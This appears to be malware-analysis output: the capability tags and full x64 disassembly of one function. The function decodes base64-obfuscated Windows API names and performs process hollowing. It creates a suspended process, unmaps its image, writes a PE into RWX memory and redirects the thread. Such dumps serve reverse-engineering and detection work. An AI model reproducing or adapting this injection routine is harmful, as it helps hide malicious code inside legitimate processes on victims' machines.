Function at 0x11002c8c0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
lea rsp, [rsp - 0x330]
mov qword [rbp - 0x2d8], rbx
mov qword [rbp - 8], rcx
mov qword [rbp - 0x10], rdx
mov qword [rbp - 0x18], r8
mov rcx, qword [rbp - 8]
call fcn.1100072b0
mov rcx, qword [rbp - 0x10]
call fcn.11000b750
mov qword [rbp - 0x2d0], 0
mov qword [rbp - 0x2c8], 0
mov qword [rbp - 0x2c0], 0
mov qword [rbp - 0x2b8], 0
mov qword [rbp - 0x2b0], 0
mov qword [rbp - 0x2a8], 0
mov qword [rbp - 0x2a0], 0
mov qword [rbp - 0x298], 0
mov qword [rbp - 0x290], 0
mov qword [rbp - 0x288], 0
mov qword [rbp - 0x280], 0
mov qword [rbp - 0x278], 0
mov qword [rbp - 0x270], 0
mov qword [rbp - 0x268], 0
nop
mov byte [rbp - 0x1c], 0
mov rdx, qword [rbp - 0x10]
lea rcx, [rbp - 0x5c]
mov r8d, 0x40
call fcn.110018800
cmp word [rbp - 0x5c], 0x5a4d
jne 0x11002d0a8
mov rdx, qword [rbp - 0x10]
movsxd rax, dword [rbp - 0x20]
add rdx, rax
lea rcx, [rbp - 0x168]
mov r8d, 0x108
call dbg.MOVE_DA
cmp dword [rbp - 0x168], 0x4550
jne 0x11002d0a8
lea rcx, [rbp - 0x210]
xor r8d, r8d
mov edx, 0x68
call fcn.110003290
lea rcx, [rbp - 0x1a8]
xor r8d, r8d
mov edx, 0x18
call fcn.110003290
mov dword [rbp - 0x210], 0x68
xor r8b, r8b
lea rdx, str.a2VybmVsMzIuZGxs
lea rcx, [rbp - 0x268]
call fcn.11002de70
mov rcx, qword [rbp - 0x268]
test rcx, rcx
jne 0x11002ca37
lea rcx, [0x1100914b0]
call sub.kernel32.dll_LoadLibraryA
mov qword [rbp - 0x250], rax
xor r8b, r8b
lea rdx, str.Q3JlYXRlUHJvY2Vzc0E
lea rcx, [rbp - 0x270]
call fcn.11002de70
mov rdx, qword [rbp - 0x270]
test rdx, rdx
jne 0x11002ca6c
lea rdx, [0x1100914b0]
mov rcx, qword [rbp - 0x250]
call sub.kernel32.dll_GetProcAddress
mov qword [0x11019ba20], rax
xor r8b, r8b
lea rdx, str.R2V0VGhyZWFkQ29udGV4dA
lea rcx, [rbp - 0x278]
call fcn.11002de70
mov rdx, qword [rbp - 0x278]
test rdx, rdx
jne 0x11002caa8
lea rdx, [0x1100914b0]
mov rcx, qword [rbp - 0x250]
call sub.kernel32.dll_GetProcAddress
mov qword [0x11019ba70], rax
xor r8b, r8b
lea rdx, str.U2V0VGhyZWFkQ29udGV4dA
lea rcx, [rbp - 0x280]
call fcn.11002de70
mov rdx, qword [rbp - 0x280]
test rdx, rdx
jne 0x11002cae4
lea rdx, [0x1100914b0]
mov rcx, qword [rbp - 0x250]
call sub.kernel32.dll_GetProcAddress
mov qword [0x11019ba80], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
lea rax, [rbp - 0x1a8]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x210]
mov qword [rsp + 0x40], rax
mov rdx, qword [rbp - 8]
test rdx, rdx
jne 0x11002cb41
lea rdx, [0x1100914b0]
xor r9, r9
xor r8, r8
xor ecx, ecx
call qword [0x11019ba20]
test eax, eax
je 0x11002d0a8
mov rcx, qword [rbp - 0x1a8]
call sub.kernel32.dll_GetProcessId
mov dword [0x11019b750], eax
xor r8b, r8b
lea rdx, str.VmlydHVhbEFsbG9j
lea rcx, [rbp - 0x288]
call fcn.11002de70
mov rdx, qword [rbp - 0x288]
test rdx, rdx
jne 0x11002cb92
lea rdx, [0x1100914b0]
mov rcx, qword [rbp - 0x250]
call sub.kernel32.dll_GetProcAddress
mov qword [0x11019ba40], rax
mov r9d, 4
mov r8d, 0x1000
mov edx, 8
xor ecx, ecx
call qword [0x11019ba40]
mov qword [rbp - 0x218], rax
mov dword [rax + 0x30], 0x10001f
mov rdx, qword [rbp - 0x218]
mov rcx, qword [rbp - 0x1a0]
call qword [0x11019ba70]
test eax, eax
je 0x11002d0a8
xor r8b, r8b
lea rdx, str.a2VybmVsMzIuZGxs
lea rcx, [rbp - 0x290]
call fcn.11002de70
mov rcx, qword [rbp - 0x290]
test rcx, rcx
jne 0x11002cc11
lea rcx, [0x1100914b0]
call sub.kernel32.dll_LoadLibraryA
mov qword [rbp - 0x250], rax
xor r8b, r8b
lea rdx, str.UmVhZFByb2Nlc3NNZW1vcnk
lea rcx, [rbp - 0x298]
call fcn.11002de70
mov rdx, qword [rbp - 0x298]
test rdx, rdx
jne 0x11002cc46
lea rdx, [0x1100914b0]
mov rcx, qword [rbp - 0x250]
call sub.kernel32.dll_GetProcAddress
mov qword [0x11019baa0], rax
lea rax, [rbp - 0x230]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp - 0x218]
mov rax, qword [rax + 0x88]
lea rdx, [rax + 0x100]
lea r8, [rbp - 0x240]
mov rcx, qword [rbp - 0x1a8]
mov r9d, 8
call qword [0x11019baa0]
xor r8b, r8b
lea rdx, str.VmlydHVhbEFsbG9jRXg
lea rcx, [rbp - 0x2a0]
call fcn.11002de70
mov rdx, qword [rbp - 0x2a0]
test rdx, rdx
jne 0x11002ccbd
lea rdx, [0x1100914b0]
mov rcx, qword [rbp - 0x250]
call sub.kernel32.dll_GetProcAddress
mov qword [0x11019ba30], rax
xor r8b, r8b
lea rdx, str.UmVzdW1lVGhyZWFk
lea rcx, [rbp - 0x2a8]
call fcn.11002de70
mov rdx, qword [rbp - 0x2a8]
test rdx, rdx
jne 0x11002ccf9
lea rdx, [0x1100914b0]
mov rcx, qword [rbp - 0x250]
call sub.kernel32.dll_GetProcAddress
mov qword [0x11019ba90], rax
xor r8b, r8b
lea rdx, str.bnRkbGwuZGxs
lea rcx, [rbp - 0x2b0]
call fcn.11002de70
mov rcx, qword [rbp - 0x2b0]
test rcx, rcx
jne 0x11002cd35
lea rcx, [0x1100914b0]
call sub.kernel32.dll_LoadLibraryA
mov qword [rbp - 0x260], rax
xor r8b, r8b
lea rdx, str.TnRBbGxvY2F0ZVZpcnR1YWxNZW1vcnk
lea rcx, [rbp - 0x2b8]
call fcn.11002de70
mov rdx, qword [rbp - 0x2b8]
test rdx, rdx
jne 0x11002cd6a
lea rdx, [0x1100914b0]
mov rcx, qword [rbp - 0x260]
call sub.kernel32.dll_GetProcAddress
mov qword [0x11019bac0], rax
xor r8b, r8b
lea rdx, str.bnRkbGwuZGxs
lea rcx, [rbp - 0x2c0]
call fcn.11002de70
mov rcx, qword [rbp - 0x2c0]
test rcx, rcx
jne 0x11002cda6
lea rcx, [0x1100914b0]
call sub.kernel32.dll_LoadLibraryA
mov qword [rbp - 0x258], rax
xor r8b, r8b
lea rdx, str.TnRVbm1hcFZpZXdPZlNlY3Rpb24
lea rcx, [rbp - 0x2c8]
call fcn.11002de70
mov rdx, qword [rbp - 0x2c8]
test rdx, rdx
jne 0x11002cddb
lea rdx, [0x1100914b0]
mov rcx, qword [rbp - 0x258]
call sub.kernel32.dll_GetProcAddress
mov qword [0x11019ba50], rax
xor r8b, r8b
lea rdx, str.V3JpdGVQcm9jZXNzTWVtb3J5
lea rcx, [rbp - 0x2d0]
call fcn.11002de70
mov rdx, qword [rbp - 0x2d0]
test rdx, rdx
jne 0x11002ce17
lea rdx, [0x1100914b0]
mov rcx, qword [rbp - 0x250]
call sub.kernel32.dll_GetProcAddress
mov qword [0x11019ba60], rax
mov ecx, dword [rbp - 0x248]
mov edx, 0x1000
call dbg.ALIGN
mov dword [rbp - 0x248], eax
mov rax, qword [rbp - 0x138]
cmp rax, qword [rbp - 0x240]
jne 0x11002cecb
mov rdx, qword [rbp - 0x138]
mov rcx, qword [rbp - 0x1a8]
call qword [0x11019ba50]
test eax, eax
jne 0x11002ce9e
mov dword [rsp + 0x20], 0x40
mov r8d, dword [rbp - 0x118]
mov rdx, qword [rbp - 0x138]
mov rcx, qword [rbp - 0x1a8]
mov r9d, 0x3000
call qword [0x11019ba30]
mov qword [rbp - 0x228], rax
jmp 0x11002cefb
mov dword [rsp + 0x20], 0x40
mov r8d, dword [rbp - 0x118]
mov rcx, qword [rbp - 0x1a8]
mov r9d, 0x3000
xor edx, edx
call qword [0x11019ba30]
mov qword [rbp - 0x228], rax
jmp 0x11002cefb
mov dword [rsp + 0x20], 0x40
mov r8d, dword [rbp - 0x118]
mov rdx, qword [rbp - 0x138]
mov rcx, qword [rbp - 0x1a8]
mov r9d, 0x3000
call qword [0x11019ba30]
mov qword [rbp - 0x228], rax
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
lea rdx, [rbp - 0x228]
mov rcx, qword [rbp - 0x1a8]
mov r9d, dword [rbp - 0x248]
xor r8d, r8d
call sub.ntdll.dll_NtAllocateVirtualMemory
lea rax, [rbp - 0x230]
mov qword [rsp + 0x20], rax
mov r9d, dword [rbp - 0x114]
mov r8, qword [rbp - 0x10]
mov rcx, qword [rbp - 0x1a8]
mov rdx, qword [rbp - 0x228]
call qword [0x11019ba60]
mov eax, dword [rbp - 0x20]
add eax, 0x108
mov dword [rbp - 0x244], eax
movzx ebx, word [rbp - 0x162]
sub ebx, 1
test ebx, ebx
jl 0x11002d034
mov dword [rbp - 0x234], 0xffffffff
nop dword [rax]
add dword [rbp - 0x234], 1
mov rcx, qword [rbp - 0x10]
movsxd rdx, dword [rbp - 0x234]
imul rdx, rdx, 0x28
mov eax, dword [rbp - 0x244]
add rax, rdx
lea rdx, [rcx + rax]
lea rcx, [rbp - 0x190]
mov r8d, 0x28
call dbg.MOVE_DA
lea rax, [rbp - 0x230]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp - 0x10]
mov edx, dword [rbp - 0x17c]
lea r8, [rax + rdx]
mov edx, dword [rbp - 0x184]
add rdx, qword [rbp - 0x228]
mov r9d, dword [rbp - 0x180]
mov rcx, qword [rbp - 0x1a8]
call qword [0x11019ba60]
lea rax, [rbp - 0x230]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp - 0x218]
mov rax, qword [rax + 0x88]
lea rdx, [rax + 0x10]
lea r8, [rbp - 0x228]
mov rcx, qword [rbp - 0x1a8]
mov r9d, 8
call qword [0x11019ba60]
cmp ebx, dword [rbp - 0x234]
jg 0x11002cf80
mov r9d, 4
mov r8d, 0x1000
mov edx, 8
xor ecx, ecx
call qword [0x11019ba40]
mov qword [rbp - 0x220], rax
mov dword [rax + 0x30], 0x100002
mov ecx, 0x7d0
call fcn.11003b9c0
mov edx, dword [rbp - 0x140]
add rdx, qword [rbp - 0x228]
mov rax, qword [rbp - 0x220]
mov qword [rax + 0x80], rdx
mov rdx, qword [rbp - 0x220]
mov rcx, qword [rbp - 0x1a0]
call qword [0x11019ba80]
mov rcx, qword [rbp - 0x1a0]
call qword [0x11019ba90]
mov byte [rbp - 0x1c], 1
nop dword [rax]
nop
mov rcx, rbp
call dbg.fin$0000000D
mov al, byte [rbp - 0x1c]
mov rbx, qword [rbp - 0x2d8]
lea rsp, [rbp]
pop rbp
ret